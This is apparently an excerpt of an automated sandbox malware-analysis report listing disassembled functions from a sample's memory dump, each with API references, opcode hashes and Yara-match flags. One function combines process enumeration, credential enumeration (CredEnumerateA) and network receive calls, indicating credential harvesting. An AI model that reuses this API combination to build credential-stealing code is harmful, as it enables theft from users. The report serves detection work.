Opcode Fuzzy Hash: 327d7d51cf89ce8cae5e34d504ec04f85fc3bceab43135c4ad84e114b6f625fa
Instruction Fuzzy Hash: 7731923362CBC087E7108F24E5943DEA760F7A9788F545215EBC952A4ADF7CC695CB00

Function 00000218BFB951E0 Relevance: 3.2, APIs: 2, Instructions: 192COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00000218BFB95320
Concurrency::cancel_current_task.LIBCPMT ref: 00000218BFB9541F

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: cd13d64996e07c1042458ffda2b362979b596a5915bd2266bc88f273be9fb08e
Instruction ID: fded685b15247e6908bfbfeff5c5d9c158744da321925fb3c4c0bc648028b8ff
Opcode Fuzzy Hash: cd13d64996e07c1042458ffda2b362979b596a5915bd2266bc88f273be9fb08e
Instruction Fuzzy Hash: 4851497234D74485EE20AF11A58C7DD63D1E724BECF5896219E6D8BBD6DE78CA818300

Function 00007FF7AA102960 Relevance: 3.1, APIs: 2, Instructions: 125COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AA102ADC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AA102AE2

Memory Dump Source

Source File: 00000008.00000002.2193923982.00007FF7AA101000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AA100000, based on PE: true

Associated: 00000008.00000002.2193868965.00007FF7AA100000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA138000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA376000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194109603.00007FF7AA380000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194152325.00007FF7AA383000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7aa100000_3UuxTH6FMX.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 73155330-0
Opcode ID: 17d78b6c5c56375eb874d41d2a80c4d6dc6448b3f7763c03c887009f28ab597e
Instruction ID: d476f84f8f0944b58e943cac01e3caf7ac37769045bbcfded9838c68367f1c74
Opcode Fuzzy Hash: 17d78b6c5c56375eb874d41d2a80c4d6dc6448b3f7763c03c887009f28ab597e
Instruction Fuzzy Hash: 4541E422B0A646E5FE26AB16F4043A9F261AB04FD4FA94671DF5D07BE6DE3CD0438310

Function 00000218BFBC8E10 Relevance: 3.1, APIs: 2, Instructions: 87COMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32 ref: 00000218BFBC8E69
CoTaskMemFree.OLE32 ref: 00000218BFBC8F2A

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: FolderFreeKnownPathTask
String ID:
API String ID: 969438705-0
Opcode ID: 868d4f578cba96401b1f6495479bbacf15c691ac0420995af8e675fea13bde39
Instruction ID: 4868f789c1f0fac2e9ff75dbad5de045559145c68879d2207156f3ba56dfa324
Opcode Fuzzy Hash: 868d4f578cba96401b1f6495479bbacf15c691ac0420995af8e675fea13bde39
Instruction Fuzzy Hash: F031967291878081E720CF25E49439EB761F7997E8F505315FAAC43A95DF7CC681CB00

Function 00000218BFBDE614 Relevance: 3.1, APIs: 2, Instructions: 77COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000218BFBDE63B

Part of subcall function 00000218BFBDE5D0: _invalid_parameter_noinfo.LIBCMT ref: 00000218BFBDE5E7

_invalid_parameter_noinfo.LIBCMT ref: 00000218BFBDE6EF

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: cb30a7c2c620b97f400ef9b33bc0fdb0214d80daa24a11497eeb67f4fc095207
Instruction ID: 3ba1bc19efc4254b1e51f4bbe514cc4d7869520cd70a6609ef7a7c86aec9eb25
Opcode Fuzzy Hash: cb30a7c2c620b97f400ef9b33bc0fdb0214d80daa24a11497eeb67f4fc095207
Instruction Fuzzy Hash: DC31913A21DA4482EAA4DF54E8D93ED3361E7B4B88F980521E65DC73D2EE78CB00C711

Function 00000218BFBC7390 Relevance: 3.1, APIs: 2, Instructions: 69registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00000218BFBC73E1
RegCloseKey.ADVAPI32 ref: 00000218BFBC73F3

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: CloseOpen
String ID:
API String ID: 47109696-0
Opcode ID: f079ec761da95b766b8b6afbeec7fda29d97571b2deafd3f5d4343d11bd09f0c
Instruction ID: bad6cf855b4df8a7be83f77d3d2803f47720b0cf8976b037bc3ee705a2408ee8
Opcode Fuzzy Hash: f079ec761da95b766b8b6afbeec7fda29d97571b2deafd3f5d4343d11bd09f0c
Instruction Fuzzy Hash: A921D631719A9045FA509B21F8D83EFA760EBA4BD8F545121EE4D83B96DF28CA85C700

Function 00000218BFBC664C Relevance: 3.1, APIs: 2, Instructions: 58synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00000218BFB8C8C0: CreateToolhelp32Snapshot.KERNEL32 ref: 00000218BFB8C90A
Part of subcall function 00000218BFB8C8C0: Process32FirstW.KERNEL32 ref: 00000218BFB8C94C

Part of subcall function 00000218BFB8ACC0: CredEnumerateA.ADVAPI32 ref: 00000218BFB8AD22

Part of subcall function 00000218BFBCE9F0: recv.WS2_32 ref: 00000218BFBCEBCC

ReleaseMutex.KERNEL32 ref: 00000218BFBC66BB
CloseHandle.KERNEL32 ref: 00000218BFBC66C4

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: CloseCreateCredEnumerateFirstHandleMutexProcess32ReleaseSnapshotToolhelp32recv
String ID:
API String ID: 420082584-0
Opcode ID: c9ab736b4f6c492079d64c8d6f82b8cde20559c7846c7308bea0463702db3c69
Instruction ID: 4d6306f03c36e56357c66d923202510749ddf7dfcbf1c8c49fbaac85a755d38a
Opcode Fuzzy Hash: c9ab736b4f6c492079d64c8d6f82b8cde20559c7846c7308bea0463702db3c69
Instruction Fuzzy Hash: 1421D07160C58041FA2077B5E4EE7EE2741AFB579CF641E15E999C15C39E28CF88C621

Function 00000218BFBC667D Relevance: 3.0, APIs: 2, Instructions: 47synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00000218BFBCE9F0: recv.WS2_32 ref: 00000218BFBCEBCC

ReleaseMutex.KERNEL32 ref: 00000218BFBC66BB
CloseHandle.KERNEL32 ref: 00000218BFBC66C4

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: CloseHandleMutexReleaserecv
String ID:
API String ID: 2659716615-0
Opcode ID: 3ef56d8363dff6c7d90b20fe7fbf91973a5fd16913c8a728d76967900788aa92
Instruction ID: 570bccf8d78a1c260ae33ea6b162694074f93550d472728fe48ac4f9f5026446
Opcode Fuzzy Hash: 3ef56d8363dff6c7d90b20fe7fbf91973a5fd16913c8a728d76967900788aa92
Instruction Fuzzy Hash: 4911027160C28041FA207775E4EE7EE2741ABA579CF541E15EA9DC15D3DE28CEC88600

Function 00000218BFBEDB60 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32 ref: 00000218BFBEDBAC
GetLastError.KERNEL32 ref: 00000218BFBEDBB6

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 7e9ab1c6d8c64915d6648e9c143c2363700413bfa3c055332623f50353a46816
Instruction ID: 0d29429170d0d1af2a6f8bd57b5405f0cb68d6805bad46d917bf60903d0f9af9
Opcode Fuzzy Hash: 7e9ab1c6d8c64915d6648e9c143c2363700413bfa3c055332623f50353a46816
Instruction Fuzzy Hash: 5A11C176208B9081DB208B25E8882DDB361E399BF8F584711EE798B7D9DE78C6508B00

Function 00007FF7AA12CE54 Relevance: 3.0, APIs: 2, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AA12CE84

Part of subcall function 00007FF7AA12DAE0: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7AA12DAE9

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AA12CE8A

Memory Dump Source

Source File: 00000008.00000002.2193923982.00007FF7AA101000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AA100000, based on PE: true

Associated: 00000008.00000002.2193868965.00007FF7AA100000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA138000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA376000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194109603.00007FF7AA380000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194152325.00007FF7AA383000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7aa100000_3UuxTH6FMX.jbxd

Similarity

API ID: Concurrency::cancel_current_task$std::bad_alloc::bad_alloc
String ID:
API String ID: 1173176844-0
Opcode ID: a18cefe2d12551028f3056aac5d6e62e4fbca414a85a138043c9f28a0b70d310
Instruction ID: 50c734481cfd4b45b0ceacb029538377bfabe501fb77ce004753f7e5a719319a
Opcode Fuzzy Hash: a18cefe2d12551028f3056aac5d6e62e4fbca414a85a138043c9f28a0b70d310
Instruction Fuzzy Hash: 9AE01A40E1B107E5F92B33A1F41607580600F087B0DAA17B0DA3E091F3AD1CE04B4330

Function 00000218BFBFCB98 Relevance: 3.0, APIs: 2, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00000218BFBFCBC8

Part of subcall function 00000218BFBFDBEC: std::bad_alloc::bad_alloc.LIBCMT ref: 00000218BFBFDBF5

Concurrency::cancel_current_task.LIBCPMT ref: 00000218BFBFCBCE

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: Concurrency::cancel_current_task$std::bad_alloc::bad_alloc
String ID:
API String ID: 1173176844-0
Opcode ID: 267b89f17236609d1417f10d46edbd95984192d968a560c5371d581f7ac22313
Instruction ID: 2938ce360e92497f2d0de620463a1fdb4ebe7208f5cbfdaff9e9595af7adca77
Opcode Fuzzy Hash: 267b89f17236609d1417f10d46edbd95984192d968a560c5371d581f7ac22313
Instruction Fuzzy Hash: EAE0E2B962A25945F9686772188E2ED03404B79378EA81B2669F6892C3AD24CFD18A50

Function 00007FF7AA120554 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,?,00000000,00007FF7AA120C21,?,?,000095D61E68ED83,00007FF7AA12066D,?,?,?,?,00007FF7AA12C66A,?,?,00000000), ref: 00007FF7AA12056A
GetLastError.KERNEL32(?,?,00000000,00007FF7AA120C21,?,?,000095D61E68ED83,00007FF7AA12066D,?,?,?,?,00007FF7AA12C66A,?,?,00000000), ref: 00007FF7AA120574

Memory Dump Source

Source File: 00000008.00000002.2193923982.00007FF7AA101000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AA100000, based on PE: true

Associated: 00000008.00000002.2193868965.00007FF7AA100000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA138000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA376000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194109603.00007FF7AA380000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194152325.00007FF7AA383000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7aa100000_3UuxTH6FMX.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 43a509883ac49e6a5de9370612de203f62b5326ede6e7c11b2a257d050534144
Instruction ID: 85c834572165ec9281fb3c9d48179bb272c645cb688749a9b0af58b8f3edb631
Opcode Fuzzy Hash: 43a509883ac49e6a5de9370612de203f62b5326ede6e7c11b2a257d050534144
Instruction Fuzzy Hash: 95E04F54E0B602D6FF8A7BB1E84403492709F88700F8646B4CD0D47271FD2CA98B4370

Function 00000218BFBEB550 Relevance: 2.5, APIs: 2, Instructions: 18memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapFree.KERNEL32 ref: 00000218BFBEB566
GetLastError.KERNEL32 ref: 00000218BFBEB570

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 47cbcda289b4926f8a5fa232dbc04e0ffd722977d505590b0caac84d58b1b127
Instruction ID: eb6b694eeac2837ed210cd55cacf6b81e65c6d173022ad270e8eb5eca105559e
Opcode Fuzzy Hash: 47cbcda289b4926f8a5fa232dbc04e0ffd722977d505590b0caac84d58b1b127
Instruction Fuzzy Hash: 17E01271B1960582FF1867F298ED7FD03955B74748F4848309925C2693ED284F944600

Function 00000218BFBDD450 Relevance: 1.7, APIs: 1, Instructions: 189COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00000218BFBDD6A0

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 9a80dbe2cf8185b4106f70475528734e2b7bda874bdd1f042bc6e19ee081fabd
Instruction ID: 69bfbb7dfda2035286cf0143d5fa37ed71f4f73a2c2e696cd911742a85f5d36d
Opcode Fuzzy Hash: 9a80dbe2cf8185b4106f70475528734e2b7bda874bdd1f042bc6e19ee081fabd
Instruction Fuzzy Hash: C161CD7A308A8486EB249F16D5983AD27A1E328FDCF548511CE9D877D9DF39CE86C301

Function 00000218BFB7E150 Relevance: 1.7, APIs: 1, Instructions: 175COMMON

Download Yara Rule

APIs

__std_fs_directory_iterator_open.LIBCPMT ref: 00000218BFB7E283

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: __std_fs_directory_iterator_open
String ID:
API String ID: 4007087469-0
Opcode ID: 7605550896c13ce2b0044ffa57e28911a6a71c870334de07b553f70fc91c1fb8
Instruction ID: 1ec054d29474e8134f01d972e682b502a97f7b3cd4a67250dfdb5e864a8d63cb
Opcode Fuzzy Hash: 7605550896c13ce2b0044ffa57e28911a6a71c870334de07b553f70fc91c1fb8
Instruction Fuzzy Hash: D261C072B08A4095FB10DB79D4D83EC27A1EB697ACF414611EE2997AD5EE34CE85C301

Function 00000218BFB9A050 Relevance: 1.6, APIs: 1, Instructions: 134COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00000218BFB9A1F8

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: a5deb77f8f49f9fedeb0e81e477f6aecdbfddfee5e5019fdefda3dec8a93b764
Instruction ID: 2f27332aa076e15b705105ad46fb927fcadbd2a6121d47175a5f37cacce38ddc
Opcode Fuzzy Hash: a5deb77f8f49f9fedeb0e81e477f6aecdbfddfee5e5019fdefda3dec8a93b764
Instruction Fuzzy Hash: 7241F372309A9481EE14DB56E4982AEA764F355BFCF508725AF7D87BC5CF38CA918300

Function 00000218BFB95B00 Relevance: 1.6, APIs: 1, Instructions: 129COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00000218BFB95C95

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: c6b69c12cd36f7875a17a812ce72b3a3f18578e6ec5307d39414dff5a0816715
Instruction ID: 883c20d0e33965dcf8befab4a3786186e383530de32000065dc8c50fcdca550d
Opcode Fuzzy Hash: c6b69c12cd36f7875a17a812ce72b3a3f18578e6ec5307d39414dff5a0816715
Instruction Fuzzy Hash: 3541C176308B8481EE109F11E49C7DD67A1F728BD8F545621DFAD8BB96DE38CA81C304

Function 00000218BFB95CB0 Relevance: 1.6, APIs: 1, Instructions: 118COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00000218BFB95E2C

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 853d81dcd01675590d0724083e153ef49e9da5bea3df268257120bce8f5fd272
Instruction ID: 3da4783d7b0c1db83407417725db92a57139a5d60e8091dc5a9e95e25508efb9
Opcode Fuzzy Hash: 853d81dcd01675590d0724083e153ef49e9da5bea3df268257120bce8f5fd272
Instruction Fuzzy Hash: FE41D675308B4485EE10DB26A58CBDDA791F728BDCF5496219F6D8B7D6DE38CA81C300

Function 00000218BFB915C0 Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00000218BFB91711

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: e6c13f35aa4ac436c903e8330d3d0fd07802d9fe13886a5a7148390616572426
Instruction ID: 462982c60402cd5efd5523a90fee4a5ef0b733e83fd8dcfff61561d259e5a488
Opcode Fuzzy Hash: e6c13f35aa4ac436c903e8330d3d0fd07802d9fe13886a5a7148390616572426
Instruction Fuzzy Hash: 2F31247270974484FE149F55A9883EC17419725FECF5882218E2D87BD6EE38CAD1E300

Function 00000218BFBEBA50 Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000218BFBEBA78

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: f1929d788aef536cbe8cf6883a7401ff42454cfe712c6df48b8c1514241a1e94
Instruction ID: 407f28acda6d5ff1d0e82b95eee0bd6d22999d4974c02059037ea22ac7431499
Opcode Fuzzy Hash: f1929d788aef536cbe8cf6883a7401ff42454cfe712c6df48b8c1514241a1e94
Instruction Fuzzy Hash: 3341D33221820487EB348B29E5D83ED73A0F765B88F145A01EAB6C37D5CF28CE42CB51

Function 00000218BFB95990 Relevance: 1.6, APIs: 1, Instructions: 109COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00000218BFB95AEB

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 4623c8ffe55977e51d5aa935d574e6ded8e8f440b7e01007c9f18fe25218532f
Instruction ID: 8cbc748d9993d012da009257b25a1efdda265a5bc56e31d1e792a98444fbdf3a
Opcode Fuzzy Hash: 4623c8ffe55977e51d5aa935d574e6ded8e8f440b7e01007c9f18fe25218532f
Instruction Fuzzy Hash: ED31687134978485EE10DF22A5CC7CD6391EB24BDCF5896219E6D8BBD6DE38CA82C304

Function 00000218BFBD0250 Relevance: 1.6, APIs: 1, Instructions: 107COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNEL32 ref: 00000218BFBD02E0

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: f724cf4dfdbf2b309ca551f6f28598b28e3755897c521442b8a3b2493d716e12
Instruction ID: 9b8cb56e3025776b81aab3a14f841c73541d0b67000d8b6a822ede4a83fd10da
Opcode Fuzzy Hash: f724cf4dfdbf2b309ca551f6f28598b28e3755897c521442b8a3b2493d716e12
Instruction Fuzzy Hash: B8519F32A18B8486EB20CF68E4843DD7764F7A9788F505211EB8C93A99DF78CA84C740

Function 00000218BFB8FE50 Relevance: 1.6, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00000218BFB8FF58

Part of subcall function 00000218BFB7B7B0: __std_exception_copy.LIBVCRUNTIME ref: 00000218BFB7B7F8

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: Concurrency::cancel_current_task__std_exception_copy
String ID:
API String ID: 317858897-0
Opcode ID: a7e6f0fecb0498cffed6e7ec906e42701559e28d47d0028a6a716f004b9b2690
Instruction ID: e0ded80b20dadbdb13aee6b46adca5a34658e8571149516b8b523e9022866835
Opcode Fuzzy Hash: a7e6f0fecb0498cffed6e7ec906e42701559e28d47d0028a6a716f004b9b2690
Instruction Fuzzy Hash: 3021F972609B4441EE14EB15A1843EC6390E7A4BA8F2447219A7C87BD7EE74CAD2C340

Function 00000218BFBED4D0 Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000218BFBED556

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 90e282629e3327800b1a09ea2473f0e2941ce1167cc6a0942764be9094e0e12c
Instruction ID: 65ed39e08b54b241decd5c0f9e7e481aeef0d5878fd5ad6e8488da71312e44b2
Opcode Fuzzy Hash: 90e282629e3327800b1a09ea2473f0e2941ce1167cc6a0942764be9094e0e12c
Instruction Fuzzy Hash: DC31AF7221C650C2FB556F65C8C93ED27A0A768B9CF450A16AE39833D3DFB8CE458B11

Function 00000218BFBF31A1 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000218BFBF31CF

Part of subcall function 00000218BFBF32C8: GetModuleHandleExW.KERNEL32 ref: 00000218BFBF32ED
Part of subcall function 00000218BFBF32C8: GetProcAddress.KERNEL32 ref: 00000218BFBF3303
Part of subcall function 00000218BFBF32C8: FreeLibrary.KERNEL32 ref: 00000218BFBF332A

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 530d5f225501611c07fa3f753d7d8dc80cca454b0254b6cc05cb90d306267795
Instruction ID: 1f3552b447de9af71b66a7b178e3a857af7096d5a65fb3cac42adc2594fb7e6b
Opcode Fuzzy Hash: 530d5f225501611c07fa3f753d7d8dc80cca454b0254b6cc05cb90d306267795
Instruction Fuzzy Hash: 92216032A057408AEB24AFA8D4883EC37A0F75471CF584626D799C7AD6EF34CA95CB40

Function 00000218BFC0C510 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000218BFC0C46D

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 6080b6f5c7735027f4532a4154f17099be5a1c2b37b88469d38b788aa2f2ab04
Instruction ID: b76b4c68643967a0db24fdcbd0037b2d9483afee6555540bdf01d1ffaa8a703e
Opcode Fuzzy Hash: 6080b6f5c7735027f4532a4154f17099be5a1c2b37b88469d38b788aa2f2ab04
Instruction Fuzzy Hash: 3B11A83160C650C1EA60DFA1D4943FDA364FBA5B8CF444522EA84D77A7CF7DCA824B41

Function 00000218BFC0E208 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000218BFC0E22B

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c41a516aab5bbd5a0cb5ee3d8915c07e5e449c965519035ee3790c186b832703
Instruction ID: 48668b81f3010f8506ef0d201c33254b17c990c4df2f38c735a744c29a3ae6c7
Opcode Fuzzy Hash: c41a516aab5bbd5a0cb5ee3d8915c07e5e449c965519035ee3790c186b832703
Instruction Fuzzy Hash: F521963221CA4187E7659F28D4943ED77A1EBA4B58F144224E759C76E9DF39CA41CB00

Function 00000218BFBCADC0 Relevance: 1.5, APIs: 1, Instructions: 38networkCOMMON

Download Yara Rule

APIs

